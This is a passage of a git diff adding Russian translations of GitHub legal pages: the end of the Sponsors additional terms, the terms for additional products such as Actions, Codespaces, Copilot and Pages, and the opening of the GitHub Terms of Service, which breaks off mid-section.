рамка программы GitHub Sponsors предоставляются Stripe и регулируются [Соглашением о подключенной учетной записи Stripe](https://stripe.com/connect-account/legal/full), которое включает в себя [Условия обслуживания Stripe](https://stripe.com/legal) (совместно именуемые «Соглашение об услугах Stripe»). Соглашаясь с этими условиями или продолжая работать в качестве учетной записи спонсируемого разработчика на GitHub Sponsors, вы соглашаетесь соблюдать Соглашение об услугах Stripe, тем более, что оно может время от времени изменяться Stripe. В качестве условия предоставления GitHub услуг по обработке платежей через Stripe вы соглашаетесь предоставить GitHub точную и полную информацию о вас и вашем бизнесе, и вы разрешаете GitHub делиться ею и информацией о транзакциях, связанных с использованием вами услуг по обработке платежей, предоставляемых Stripe. + +**Соглашение с получателем услуг** + +_Применяется к Учетным записям спонсируемых разработчиков во всех других странах._ + +Мы используем Stripe для выплат на Учетные записи спонсируемых разработчиков. [Соглашение с получателем Stripe](https://stripe.com/connect-account/legal/recipient) относится к получению вами таких выплат. Чтобы получать выплаты от спонсоров GitHub, вы должны предоставить нам точную и полную информацию о вас и вашем бизнесе, и вы разрешаете нам делиться ею и информацией о транзакциях, связанных с вашими выплатами в Stripe. + +## 5. Заверения и гарантии; Ограничение ответственности; Возмещение ущерба. + +### 5.1. Спонсируемый разработчик. +Спонсируемый разработчик заявляет и гарантирует, что: + +* у вас есть необходимые полномочия для заключения настоящих Дополнительных условий и для полного их выполнения; + +* выполнение вами настоящих Дополнительных условий не будет нарушать какие-либо другие соглашения или обязательства между вами и каким-либо третьим лицом; + +* Контент спонсируемого разработчика не нарушает и не присваивает какие-либо права третьих лиц, включая любые авторские права, товарные знаки, патенты, коммерческую тайну, моральные права, право на неприкосновенность частной жизни, право на публичное использование или любую другую интеллектуальную собственность; + +* вы будете соблюдать все законодательство, и ваш Контент спонсируемого разработчика не является незаконным и не нарушает никаких законов или правил. + +### 5.2. Отказ от предоставления гарантий, Ограничение ответственности; Возмещение ущерба. +ВЫ ЯВНО СОГЛАШАЕТЕСЬ С ТЕМ, ЧТО РАЗДЕЛЫ O (ОТКАЗ ОТ ГАРАНТИЙ), P (ОГРАНИЧЕНИЕ ОТВЕТСТВЕННОСТИ) И Q (ОСВОБОЖДЕНИЕ ОТ ОТВЕТСТВЕННОСТИ И ВОЗМЕЩЕНИЕ УЩЕРБА) СОГЛАШЕНИЯ ПРИМЕНЯЮТСЯ К ЭТИМ ДОПОЛНИТЕЛЬНЫМ УСЛОВИЯМ. + +## 6. Срок действия и прекращение действия. + +### 6.1. Срок действия. +Настоящие Дополнительные условия вступают в силу с Даты вступления в силу и остаются в силе до тех пор, пока вы участвуете в Программе. + +### 6.2. Приостановка. +GitHub может немедленно приостановить действие вашей Учетной записи спонсируемого разработчика, если вы каким-либо образом нарушаете настоящие Дополнительные условия или Соглашение, или если вы внесены в список ограниченной торговли или находитесь или обычно проживаете в стране или на территории, на которую распространяются всеобъемлющие санкции, введенные Управлением по контролю за иностранными активами США (OFAC). Неспособность исправить или устранить причину приостановки может привести к прекращению действия вашей Учетной записи спонсируемого разработчика. + +### 6.3. Прекращение действия. +Любая из сторон может прекратить действие настоящих Дополнительных условий и вашей Учетной записи спонсируемого разработчика в любое время с указанием причины или без нее, с уведомлением или без такового. Если вы нарушаете настоящие Дополнительные условия или Соглашение, мы можем, но не обязаны, предложить вам период времени для устранения нарушения. + +### 6.4. Последствия прекращения. +Если какая-либо из Сторон прекращает действие в соответствии с Разделом 6.3, единственным обязательством GitHub будет выплата Спонсируемому разработчику суммы Платежа спонсируемому разработчику, накопленной до даты прекращения, если такие платежи не запрещены законом. + +## 7. Прочие условия. + +### 7.1. Полное соглашение. +Эти Дополнительные условия вместе с Соглашением, Политикой GitHub, Заявлением о конфиденциальности GitHub и любыми дополнительными условиями для различных вариантов монетизации представляют собой полное соглашение между вами и GitHub. + +### 7.2. Изменение условий. +Мы оставляем за собой право по собственному усмотрению вносить изменения в настоящие Дополнительные условия в любое время. Мы уведомим вас о существенных изменениях в настоящих Дополнительных условиях, таких как изменение цен, не менее чем за 30 дней до вступления изменения в силу, разместив уведомление на нашем сайте. Ваше дальнейшее участие в Программе означает согласие с нашими изменениями настоящих Дополнительных условий. Вы можете просмотреть все изменения настоящих Условий в нашем репозитории [Политика сайта](https://github.com/github/site-policy). + +### 7.3. Сторонние бенефициары. +За исключением случаев, прямо оговоренных, никакое лицо, фирма, группа или корпорация, кроме сторон, не будут считаться приобретающими какие-либо права на основании чего-либо, содержащегося в настоящих Дополнительных условиях. + +### 7.4. Независимые подрядчики. +Стороны являются независимыми подрядчиками. Ни одна из сторон не является сотрудником, агентом, партнером или законным представителем другого для каких-либо целей, и ни одна из сторон не будет иметь никаких прав или полномочий для создания каких-либо обязательств или ответственности от имени другой. + +### 7.5. Публичное использование. +Мы можем выпустить пресс-релиз или иное публичное сообщение, связанное с вашим участием в Программе. diff --git a/translations/ru-RU/content/site-policy/github-terms/github-terms-for-additional-products-and-features.md b/translations/ru-RU/content/site-policy/github-terms/github-terms-for-additional-products-and-features.md new file mode 100644 index 000000000000..b061c200f5b9 --- /dev/null +++ b/translations/ru-RU/content/site-policy/github-terms/github-terms-for-additional-products-and-features.md @@ -0,0 +1,146 @@ +--- +title: Условия GitHub для дополнительных продуктов и функций +redirect_from: + - /github/site-policy/github-additional-product-terms + - /github/site-policy/github-terms-for-additional-products-and-features + - /github/site-policy-deprecated/github-connect-addendum-to-the-github-enterprise-license-agreement + - /articles/github-com-connection-addendum-to-the-github-enterprise-license-agreement + - /articles/github-connect-addendum-to-the-github-enterprise-license-agreement + - /github/site-policy/github-connect-addendum-to-the-github-enterprise-license-agreement +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: 8797f3c85a5db4be9d00976619fd7adde470cb93 +ms.sourcegitcommit: d298d354a4585e6c154f2a8428aebb214d49e2a1 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/07/2022 +ms.locfileid: '147858654' +--- +Версия и Дата вступления в силу: 10 августа 2021 г. + +Когда вы используете GitHub, вам может быть предоставлен доступ к множеству дополнительных продуктов и функций («Дополнительные продукты и функции»). Поскольку многие из Дополнительных продуктов и функций предлагают различные функции, в дополнение к вашему основному соглашению с нами могут применяться особые условия для этого продукта или функции — Условия обслуживания GitHub, Корпоративные условия обслуживания GitHub, Общие условия GitHub или Соглашение с Microsoft о корпоративном лицензировании (каждое, «Соглашение»). Ниже мы перечислили эти продукты и функции вместе с соответствующими дополнительными условиями, применимыми к их использованию вами. + +Используя Дополнительные продукты и функции, вы также соглашаетесь с применимыми Условиями GitHub для Дополнительных продуктов и функций, перечисленными ниже. Нарушение этих условий GitHub для Дополнительных продуктов и функций является нарушением Соглашения. Термины с заглавной буквы, не определенные здесь, имеют значение, присвоенное им в Соглашении. + +**Для корпоративных пользователей** +- Пользователи **GitHub Enterprise Cloud** могут иметь доступ к следующим Дополнительным продуктам и функциям: Actions, Advanced Security, Advisory Database, Codespaces, Dependabot Preview, GitHub Enterprise Importer, Packages и Pages. + +- Пользователи **GitHub Enterprise Server** могут иметь доступ к следующим Дополнительным продуктам и функциям: Actions, Advanced Security, Advisory Database, Connect, Dependabot Preview, GitHub Enterprise Importer, Packages, Pages и Образы SQL Server Images. + +- **GitHub AE** могут иметь доступ к следующим Дополнительным продуктам и функциям: Действия, Расширенная безопасность, Консультативная база данных, Connect, Dependabot Preview, GitHub Enterprise Importer, Пакеты и Страницы. + +## Действия +GitHub Actions позволяет создавать настраиваемые рабочие процессы жизненного цикла разработки программного обеспечения непосредственно в репозитории GitHub. Действия оплачиваются на основе использования. [Документация действий](/actions) содержит подробные сведения, в том числе объемы вычислительных ресурсов и хранилища (в зависимости от плана вашей Учетной записи), а также сведения о том, как отслеживать использование минут действий и устанавливать лимиты использования. + +Действия и любые элементы продукта или услуги Actions не могут использоваться в нарушение Соглашения, [Политики допустимого использования GitHub](/github/site-policy/github-acceptable-use-policies) или ограничений службы GitHub Actions, изложенных в [Документации действий](/actions/reference/usage-limits-billing-and-administration). Наряду с этим, независимо от того, использует ли действие собственных исполнителей, действия не следует использовать для: +- криптомайнинга; +- нарушения, получения или попытки получения несанкционированного доступа к любой службе, устройству, данным, учетной записи или сети (кроме разрешенных [Программой GitHub Bug Bounty](https://bounty.github.com)); +- предоставления автономного или интегрированного приложения или услуги, предлагающих продукт или услугу Actions, или любые элементы продукта или услуги Actions в коммерческих целях; +- любой деятельности, которая создает нагрузку на наши серверы, если эта нагрузка непропорциональна преимуществам, предоставляемым пользователям (например, не используйте действия в качестве сети доставки контента или как часть бессерверного приложения, но действие с низкой выгодой может допускаться, если речь идет о низкой нагрузке); или +- при использовании исполнителей, размещенных на GitHub, любые другие действия, не связанные с производством, тестированием, развертыванием или публикацией программного проекта, связанного с репозиторием, в котором используются действия GitHub. + +Чтобы предотвратить нарушение этих ограничений и злоупотребление GitHub Actions, GitHub может отслеживать использование вами GitHub Actions. Неправильное использование GitHub Actions может привести к прекращению работы, ограничению вашей возможности использовать GitHub Actions, отключению репозиториев, созданных для запуска Действий в нарушение настоящих Условий, или, в некоторых случаях, к приостановке или прекращению действия вашей учетной записи GitHub. + +*Использование для разработки и тестирования* + +Вы можете получать доступ и использовать GitHub Actions только для разработки и тестирования своих приложений. В любой момент времени доступ к предоставленной в Actions виртуальной машине может осуществлять только один лицензированный пользователь. + +*Уполномоченный разработчик* + +Вы назначаете GitHub своим авторизованным разработчиком в отношении программного обеспечения Apple, включенного в Actions. GitHub несет ответственность за соблюдение условий использования любого такого программного обеспечения, включенного в Actions, и будет обеспечивать конфиденциальность любой конфиденциальной информации Apple, доступ к которой осуществляется в составе Actions. + +*Доступ к службам хранения данных третьих лиц* + +Если вы предоставляете GitHub доступ к своим учетным записям сторонних служб хранения, вы разрешаете GitHub сканировать учетные записи, включая содержимое ваших общедоступных и частных репозиториев, в целях предоставления GitHub Actions. + +*Собственные исполнители на GitHub Actions* + +Если вы используете собственных исполнителей, у вас есть возможность отключить автоматические обновления, но GitHub оставляет за собой право отменить ваш выбор для критических обновлений безопасности. + +## Расширенные функции безопасности +GitHub предоставляет дополнительные функции безопасности клиентам по лицензии Advanced Security. Эти функции включают сканирование кода, сканирование секретов и проверку зависимостей. [Документация по расширенной безопасности](/github/getting-started-with-github/about-github-advanced-security) содержит более подробную информацию. + +Расширенная безопасность лицензируется на основе «Уникального коммитера». «Уникальный коммитер» — это лицензированный пользователь GitHub Enterprise Cloud, GitHub Enterprise Server или GitHub AE, который в течение последних 90 дней выполнил коммит в любом репозитории при активированной функциональности GitHub Advanced Security. Вы должны приобрести пользовательскую лицензию GitHub Advanced Security для каждого из ваших уникальных коммитеров. Вы можете использовать GitHub Advanced Security только для кодовых баз, разработанных вами или для вас. Для пользователей GitHub Enterprise Cloud некоторые функции повышенной безопасности также требуют использования GitHub Actions. + +## Консультативная база данных +GitHub Advisory Database позволяет вам просматривать или искать уязвимости, которые влияют на проекты с открытым кодом на GitHub. + +_Предоставление лицензии нам_ + +Нам нужно законное право на отправку ваших материалов в GitHub Advisory Database в общедоступные наборы данных, такие как [Национальная база данных уязвимостей](https://nvd.nist.gov/) и лицензировать GitHub Advisory Database на открытых условиях для использования исследователями безопасности, сообществом открытого кода, промышленностью и общественностью. Вы соглашаетесь публиковать свои вклады в GitHub Advisory Database в соответствии с [Нулевой лицензией Creative Commons](https://creativecommons.org/publicdomain/zero/1.0/). + +_Лицензия на GitHub Advisory Database_ + +GitHub Advisory Database находится под [Лицензией Creative Commons Attribution 4.0](https://creativecommons.org/licenses/by/4.0/). Срок атрибуции может быть выполнен путем ссылки на GitHub Advisory Database по адресу или к отдельным используемым записям GitHub Advisory Database с префиксом . + +## Кодовые пространства +_Примечание. Служба github.dev, доступная по нажатию `.` в репозитории или при переходе непосредственно на github.dev регулируется [Условиями использования бета-версии GitHub](/github/site-policy/github-terms-of-service#j-beta-previews)._ + +GitHub Codespaces позволяет разрабатывать код прямо из браузера, используя код из репозитория GitHub. Codespaces и любые элементы службы Codespaces не могут использоваться в нарушение Соглашения или Политик допустимого использования. Кроме того, Codespaces не следует использовать для: +- криптомайнинга; +- использования наших серверов для нарушения, получения или попытки получения несанкционированного доступа к любой службе, устройству, данным, учетной записи или сети (кроме разрешенных программой GitHub Bug Bounty); +- предоставления автономного или интегрированного приложения или услуги, предлагающей Codespaces или любые элементы Codespaces в коммерческих целях; +- любой деятельности, которая создает нагрузку на наши серверы, если эта нагрузка непропорциональна преимуществам, предоставляемым пользователям (например, не используйте Codespaces в качестве сети доставки контента или как часть бессерверного приложения или для размещения любых производственных приложений); или +- любой другой деятельности, не связанной с разработкой или тестированием программного проекта, связанного с репозиторием, в котором инициируется GitHub Codespaces. + +Чтобы предотвратить нарушение этих ограничений и злоупотребление GitHub Codespaces, GitHub может отслеживать использование вами GitHub Codespaces. Неправомерное использование GitHub Codespaces может привести к прекращению вашего доступа к Codespaces, ограничению вашей возможности использовать GitHub Codespaces или отключению репозиториев, созданных для запуска Codespaces способом, который нарушает настоящие Условия. + +Codespaces позволяет вам загружать расширения из Microsoft Visual Studio Marketplace («Расширения Marketplace») для использования в вашей среде разработки, например, для обработки языков программирования, на которых написан ваш код. Расширения Marketplace лицензируются в соответствии с их собственными отдельными условиями использования, как указано в Visual Studio Marketplace, и условиями использования, размещенными по адресу https://aka.ms/vsmarketplace-ToU. GitHub не дает никаких гарантий в отношении Расширений Marketplace и не несет ответственности за действия сторонних авторов Расширений Marketplace, которым предоставлен доступ к вашему Контенту. Codespaces также позволяет загружать программное обеспечение в вашу среду с помощью функций devcontainer. Такое программное обеспечение предоставляется в соответствии с отдельными условиями использования, сопровождающими его. Вы используете любые сторонние приложения на свой страх и риск. + +Общедоступная версия Codespaces в настоящее время недоступна для государственных заказчиков США. Государственные заказчики США могут продолжать использовать предварительную бета-версию Codespaces на отдельных условиях. См. [Условия для предварительных бета-версий](/github/site-policy/github-terms-of-service#j-beta-previews). + +## Connect +С помощью GitHub Connect вы можете обмениваться определенными функциями и данными между вашим GitHub Enterprise Server или экземпляром GitHub AE и вашей организацией GitHub Enterprise Cloud или корпоративной учетной записью на GitHub.com. Чтобы включить GitHub Connect, у вас должна быть как минимум одна (1) учетная запись в GitHub Enterprise Cloud или GitHub.com и один (1) лицензированный экземпляр GitHub Enterprise Server или GitHub AE. Использование вами GitHub Enterprise Cloud или GitHub.com через Connect регулируется условиями, на которых вы лицензируете GitHub Enterprise Cloud или GitHub.com. Использование Персональных данных регулируется [Заявлением о конфиденциальности GitHub](/github/site-policy/github-privacy-statement). + +## GitHub Copilot +Для использования GitHub Copilot необходимо установить расширение интегрированной среды разработки (IDE) или редактора. Написанный код, использующий расширение GitHub Copilot в среде IDE или редакторе (**Ваш код**), не является Контентом в рамках Соглашения до тех пор, пока он не будет отправлен на веб-сайт GitHub.com. + +Код, функции и другие выходные данные, которые вам возвращает GitHub Copilot, называются **Предложенные варианты**. GitHub не требует никаких прав в отношении Предложенных вариантов, и вы сохраняете права владения и ответственность за Ваш код, в том числе за Предложенные варианты, включенные в него. + +_Допустимое использование._ + +В отношении Вашего кода действуют [Политики допустимого использования](/site-policy/acceptable-use-policies/github-acceptable-use-policies) GitHub. Например, вы не вправе предлагать GitHub Copilot содержимое, которое является незаконным или по иной причине запрещено в рамках Политик допустимого использования GitHub, опубликованных на веб-сайте GitHub.com. + +_Data_ + +GitHub Copilot вправе (с учетом выбранных параметров телеметрии): (i) осуществлять сбор фрагментов Вашего кода и (ii) осуществлять сбор дополнительной информации об использовании в среде IDE или в редакторе, связанном с вашей Учетной записью. К такой информации могут относиться персональные данные, которые описаны в [Заявлении о конфиденциальности GitHub](/site-policy/privacy-policies/github-privacy-statement). Дополнительные сведения о сборе и использовании данных GitHub Copilot см. в разделе [GitHub Copilot: вопросы и ответы](https://github.com/features/copilot#faq-privacy). + +## GitHub Enterprise Importer +Importer — это платформа для экспорта данных из других источников для импорта на платформу GitHub. Importer предоставляется «КАК ЕСТЬ». + +## npm +npm — это служба размещения пакетов программного обеспечения, которая позволяет вам размещать пакеты программного обеспечения в частном или публичном порядке и использовать пакеты в качестве зависимостей в ваших проектах. npm — это реестр записей для экосистемы JavaScript. Общедоступный реестр npm можно использовать бесплатно, но клиентам необходимо выставлять счета, если они хотят публиковать частные пакеты или управлять частными пакетами с помощью команд. [Документация по npm](https://docs.npmjs.com/) содержит подробную информацию об ограничении типов учетных записей и о том, как управлять [частными пакетами](https://docs.npmjs.com/about-private-packages) и [организациями](https://docs.npmjs.com/organizations). Допустимое использование реестра npm описано в [условиях использования открытого исходного кода](https://www.npmjs.com/policies/open-source-terms). Существуют дополнительные термины для обоих npm [solo](https://www.npmjs.com/policies/solo-plan) и [org](https://www.npmjs.com/policies/orgs-plan). [Условия использования](https://www.npmjs.com/policies/terms) применяются к вашему использованию npm. + +## Пакеты +GitHub Packages — это служба размещения пакетов программного обеспечения, которая позволяет вам размещать пакеты программного обеспечения в частном или публичном порядке и использовать пакеты в качестве зависимостей в ваших проектах. GitHub Packages оплачивается на основе использования. [Документация на Packages](/packages/learn-github-packages/introduction-to-github-packages) содержит подробную информацию, включая пропускную способность и объем хранилища (в зависимости от плана вашей учетной записи), а также способы отслеживания использования ваших пакетов и установки ограничений на использование. Использование полосы пропускания пакетов ограничено [Политиками допустимого использования GitHub](/github/site-policy/github-acceptable-use-policies). + +## Страницы + +Каждая учетная запись имеет доступ к [Службе статического хостинга GitHub Pages](/github/working-with-github-pages/about-github-pages). GitHub Pages предназначен для размещения статических веб-страниц, но в первую очередь как витрина для личных и организационных проектов. + +GitHub Pages не предназначен и не может использоваться в качестве бесплатной службы веб-хостинга для ведения вашего онлайн-бизнеса, сайта электронной коммерции или любого другого веб-сайта, который в первую очередь направлен либо на содействие коммерческим транзакциям, либо на предоставление коммерческого программного обеспечения как услуги (SaaS). На Pages разрешены некоторые меры монетизации, например кнопки для пожертвований и ссылки для краудфандинга. + +_Пропускная способность и лимиты использования_ + +Для GitHub Pages действуют определенные ограничения пропускной способности и использования, и они могут не подходить для некоторых видов использования с высокой пропускной способностью. Пожалуйста, смотрите наши [Ограничения для GitHub Pages](/github/working-with-github-pages/about-github-pages) для получения дополнительной информации. + +_Запрещенные способы использования_ + +GitHub Pages нельзя использовать в нарушение Соглашения, [Политики допустимого использования](/github/site-policy/github-acceptable-use-policies) или ограничений сервиса GitHub Pages, изложенных в [Документации на Pages](/pages/getting-started-with-github-pages/about-github-pages#guidelines-for-using-github-pages). + +Если у вас есть вопросы о том, относится ли ваше использование или предполагаемое использование к этим категориям, свяжитесь с [Поддержкой GitHub](https://support.github.com/contact?tags=docs-policy). GitHub оставляет за собой право в любое время вернуть любой поддомен GitHub без какой-либо ответственности. + +## Предварительные версии + +Предварительные версии означают программное обеспечение, веб-службы и дополнительные продукты и функции, предоставляемые для целей предварительного просмотра, оценки, демонстрации или пробного использования, или их предварительные версии, такие как альфа-, бета-версия или ранний доступ. Если ваше Соглашение не включает положения и условия, касающиеся Предварительных версий, применяются следующие условия. GitHub предоставляет ограниченное право на использование нерабочего экземпляра Предварительной версии. Предварительные версии предоставляются «КАК ЕСТЬ», «СО ВСЕМИ ОШИБКАМИ» и «ПО МЕРЕ ДОСТУПНОСТИ». GitHub может изменить Предварительные версии или прекратить их предоставлять в любое время без уведомления. Любая информация, которую мы сообщаем вам о частной Предварительной версии, будет считаться конфиденциальной информацией GitHub. Если вы решите предоставить комментарии или предложения по Предварительной версии, мы можем использовать эту обратную связь в любых целях без каких-либо обязательств. Максимальная ответственность GitHub ограничена прямыми убытками в размере 5000 долларов США. GitHub не обязан защищать вас, возмещать ущерб или ограждать вас от претензий, предъявленных третьими лицами в связи с использованием вами Предварительных версий. + +## Спонсорская программа + +Программа GitHub Sponsors позволяет сообществу разработчиков оказывать финансовую поддержку людям и организациям, которые проектируют, создают и поддерживают проекты с открытым кодом, от которых они зависят, непосредственно на GitHub. Чтобы стать Спонсируемым разработчиком, вы должны согласиться с [Дополнительными условиями спонсорской программы GitHub](/github/site-policy/github-sponsors-additional-terms). + +## Образы SQL Server + +Вы можете загрузить образ контейнера Microsoft SQL Server Standard Edition для файлов Linux («Образы SQL Server»). Вы должны удалить Образы SQL Server после прекращения права на использование Программного обеспечения. Корпорация Microsoft может отключить Образы SQL Server в любое время. diff --git a/translations/ru-RU/content/site-policy/github-terms/github-terms-of-service.md b/translations/ru-RU/content/site-policy/github-terms/github-terms-of-service.md new file mode 100644 index 000000000000..11c43bf5a001 --- /dev/null +++ b/translations/ru-RU/content/site-policy/github-terms/github-terms-of-service.md @@ -0,0 +1,321 @@ +--- +title: Условия предоставления услуг GitHub +redirect_from: + - /tos + - /terms + - /terms-of-service + - /github-terms-of-service-draft + - /articles/github-terms-of-service + - /github/site-policy/github-terms-of-service +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: bea0673f07e3acc48d0877d3319fce0be5737601 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556804' +--- +Благодарим за использование GitHub! Мы рады, что вы с нами. Пожалуйста, внимательно прочитайте это соглашение об Условиях обслуживания, прежде чем получить доступ к GitHub или использовать его. Поскольку это такой важный договор между нами и нашими пользователями, мы постарались сделать его максимально ясным. Для вашего удобства мы представили эти условия в виде краткого необязательного резюме, за которым следуют полные юридические условия. + +## Сводная информация + +| Раздел | Что вы можете там найти? | +| --- | --- | +| [А. Определения](#a-definitions) | Некоторые основные термины, определенные таким образом, чтобы помочь вам понять это соглашение. Вернитесь к этому разделу для уточнения. | +| [B. Условия учетной записи](#b-account-terms) | Это основные требования для наличия учетной записи на GitHub. | +| [C. Допустимое использование](#c-acceptable-use)| Это основные правила, которым вы должны следовать при использовании своей Учетной записи GitHub. | +| [D. Пользовательский контент](#d-user-generated-content) | Вы являетесь владельцем контента, который публикуете на GitHub. Однако у вас есть определенные обязанности в связи с этим, и мы просим вас предоставить нам некоторые права, чтобы мы могли предоставлять вам услуги. | +| [E. Частные репозитории](#e-private-repositories) | В этом разделе рассказывается о том, как GitHub будет обрабатывать контент, который вы публикуете в частных репозиториях. | +| [F. Авторское право и политика DMCA](#f-copyright-infringement-and-dmca-policy) | В этом разделе рассказывается о том, как GitHub будет реагировать, если вы считаете, что кто-то нарушает ваши авторские права на GitHub. | +| [G. Уведомление об интеллектуальной собственности](#g-intellectual-property-notice) | Здесь описываются права GitHub на веб-сайт и сервис. | +| [H. Условия использования API](#h-api-terms) | Это правила использования API-интерфейсов GitHub, независимо от того, используете ли вы API для разработки или сбора данных. | +| [I. Дополнительные условия для продуктов](#i-github-additional-product-terms) | У нас есть несколько конкретных правил для функций и продуктов GitHub. | +| [J. Предварительные бета-версии](#j-beta-previews) | Это некоторые из дополнительных условий, которые применяются к функциям GitHub, которые все еще находятся в разработке. | +| [К. Оплата](#k-payment) | Вы несете ответственность за оплату. Мы несем ответственность за точное выставление счетов. | +| [L. Аннулирование и прекращение действия](#l-cancellation-and-termination) | Вы можете отменить это соглашение и закрыть свою Учетную запись в любое время. | +| [М. Взаимодействие с GitHub](#m-communications-with-github) | Мы используем только электронную почту и другие электронные средства, чтобы оставаться на связи с нашими пользователями. Мы не предоставляем поддержку по телефону. | +| [N. Отказ от гарантий](#n-disclaimer-of-warranties) | Мы предоставляем наши услуги как есть и не даем никаких обещаний или гарантий в отношении этих услуг. **Пожалуйста, внимательно прочитайте этот раздел; вы должны понимать, чего ожидать.** | +| [О. Ограничение ответственности](#o-limitation-of-liability) | Мы не несем ответственности за ущерб или убытки, возникающие в результате использования или невозможности использования вами сервисе или иным образом возникающие в соответствии с настоящим соглашением. **Пожалуйста, внимательно прочитайте этот раздел; это ограничивает наши обязательства перед вами.** | +| [P. Освобождение от ответственности и возмещение ущерба](#p-release-and-indemnification) | Вы несете полную ответственность за использование сервиса. | +| [Q. Изменения настоящих Условий обслуживания](#q-changes-to-these-terms) | Мы можем изменить это соглашение, но мы уведомим вас о существенных изменениях за 30 дней. | +| [R. Разное](#r-miscellaneous) | Пожалуйста, смотрите этот раздел для юридических подробностей, включая наш выбор права. | + +## Условия обслуживания GitHub +Дата вступления в силу: 16 ноября 2020 г. + + +## А. Определения +**Укороченная версия:** *Мы используем эти основные термины во всем соглашении, и они имеют особое значение. Вы должны знать, что мы имеем в виду, когда используем каждый из терминов. Теста по терминам не будет, но это все еще полезная информация.* + +1. «Учетная запись» представляет собой ваши правовые отношения с GitHub. «Личная учетная запись» представляет собой разрешение отдельного Пользователя на вход и использование Сервиса и служит удостоверением личности Пользователя на GitHub. «Организация» означает общее рабочее пространство, которое может быть связано с одним юридическим лицом или с одним или несколькими Пользователями, где несколько Пользователей могут совместно работать над многими проектами одновременно. Личная учетная запись может быть членом любого количества Организаций. +2. «Соглашение» в совокупности относится ко всем положениям, условиям, уведомлениям, содержащимся или упомянутым в этом документе («Условия обслуживания» или «Условия»), а также ко всем другим операционным правилам, политикам (включая Заявление о конфиденциальности GitHub, доступное по адресу [github.com/site/privacy](https://github.com/site/privacy)) и процедурам, которые мы можем время от времени публиковать на Веб-сайте. Большинство из политик сайта доступно по адресу [docs.github.com/categories/site-policy](/categories/site-policy). +3. «Предварительные бета-версии» означают программное обеспечение, услуги или функции, обозначенные как альфа-, бета-версия, предварительная версия, ранний доступ или ознакомительная версия, а также слова или фразы с аналогичным значением. +4. «Контент» означает контент, представляемый или отображаемый на Веб-сайте, включая, помимо прочего, код, текст, данные, статьи, изображения, фотографии, графику, программное обеспечение, приложения, пакеты, проекты, функции и другие материалы, которые доступны на Веб-сайте или через Сервис. «Контент» также включает Сервисы. «Пользовательский контент» — это Контент, написанный или иным образом, созданный или загруженный нашими Пользователями. «Ваш Контент» — это Контент, который вы создаете или которым вы владеете. +5. «GitHub», «Мы» и «Нас» относятся к GitHub, Inc., а также к нашим аффилированным лицам, директорам, дочерним компаниям, подрядчикам, лицензиарам, должностным лицам, агентам и сотрудникам. +6. «Сервис» относится к приложениям, программному обеспечению, продуктам и услугам, предоставляемым GitHub, включая любые предварительные версии бета-версий. +7. «Пользователь», «вы» и «ваш» относятся к физическому лицу, компании или организации, которые посетили или используют Веб-сайт или Сервис; который получает доступ к любой части Учетной записи или использует ее; или который управляет использованием Учетной записи при выполнении своих функций. Пользователю должно быть не менее 13 лет. Специальные условия могут применяться к корпоративным или государственным Учетным записям (см. [Раздел B(5): Дополнительные условия](#5-additional-terms)). +8. «Веб-сайт» относится к веб-сайту GitHub, расположенному по адресу [github.com](https://github.com/), а также весь контент, услуги и продукты, предоставляемые GitHub на Веб-сайте или через него. Это также относится к принадлежащим GitHub субдоменам github.com, таким как [education.github.com](https://education.github.com/) и [pages.github.com](https://pages.github.com/). Настоящие Условия также регулируют веб-сайты конференций GitHub, такие как [githubuniverse.com](https://githubuniverse.com/) и веб-сайты продуктов, такие как [atom.io](https://atom.io/). Иногда веб-сайты, принадлежащие GitHub, могут предоставлять другие или дополнительные условия обслуживания. Если эти дополнительные условия противоречат настоящему Соглашению, к соответствующей странице или услуге применяются более конкретные условия. + +## B. Условия учетной записи +**Укороченная версия:** *Личные учетные записи и организации имеют разные административные элементы управления; человек должен создать вашу учетную запись; вам должно быть 13 лет или больше; вы должны указать действующий адрес электронной почты; и вы не можете иметь более одной бесплатной Учетной записи. Только вы несете ответственность за свою Учетную запись и все, что происходит, когда вы входите в Учетную запись или используете ее. Вы несете ответственность за обеспечение безопасности своей Учетной записи.* + +### 1. Контроль учетных записей +- Пользователи. В соответствии с настоящими Условиями вы сохраняете окончательный административный контроль над своей Личной учетной записью и Контентом в ней. + +- Организации. «Владелец» Организации, созданной в соответствии с настоящими Условиями, имеет окончательный административный контроль над этой Организацией и Контентом в ней. В Сервисе владелец может управлять доступом Пользователей к данным и проектам Организации. У Организации может быть несколько владельцев, но должна быть хотя бы одна Личная учетная запись, назначенная владельцем Организации. Если вы являетесь владельцем Организации в соответствии с настоящими Условиями, мы считаем вас ответственным за действия, которые выполняются в этой Организации или через нее. + +### 2. Необходимая информация +Вы должны указать действующий адрес электронной почты, чтобы завершить процесс регистрации. Любая другая запрашиваемая информация, такая как ваше настоящее имя, не является обязательной, если только вы не принимаете эти условия от имени юридического лица (в этом случае нам нужна дополнительная информация о юридическом лице) или если вы выбираете [платную учетную запись](#k-payment), и в этом случае для целей выставления счетов потребуется дополнительная информация. + +### 3. Требования к учетной записи +У нас есть несколько простых правил для Личных учетных записей в сервисе GitHub. +- Вы должны быть человеком, чтобы создать Учетную запись. Учетные записи, зарегистрированные с помощью «ботов» или других автоматизированных методов, запрещены. Мы разрешаем учетные записи компьютеров: +- Учетная запись компьютера означает учетную запись, зарегистрированную отдельным человеком, который принимает Условия обслуживания от имени Учетной записи, предоставляет действительный адрес электронной почты и несет ответственность за действия, выполняемые с использованием этой учетной записи. Учетная запись компьютера используется исключительно для выполнения автоматизированных задач. Несколько пользователей могут управлять действиями учетной записи компьютера, но владелец Учетной записи несет полную ответственность за действия компьютера. Вы можете поддерживать не более одной бесплатной учетной записи компьютера в дополнение к вашей бесплатной Личной учетной записи. +- Одно физическое или юридическое лицо может иметь не более одной бесплатной учетной записи (если вы также решите управлять учетной записью компьютера, это нормально, но ее можно использовать только для запуска машины). +- Вам должно быть 13 лет или больше. Хотя мы очень рады видеть, как блестящие молодые программисты получают удовольствие от обучения программированию, мы должны соблюдать законы Соединенных Штатов. GitHub не ориентирует наш Сервис на детей младше 13 лет, и мы не разрешаем Пользователям младше 13 лет пользоваться нашим Сервисом. Если мы узнаем о каком-либо Пользователе в возрасте до 13 лет, мы [немедленно прекратим действие Учетной записи этого Пользователя](#l-cancellation-and-termination). Если вы являетесь резидентом страны за пределами США, 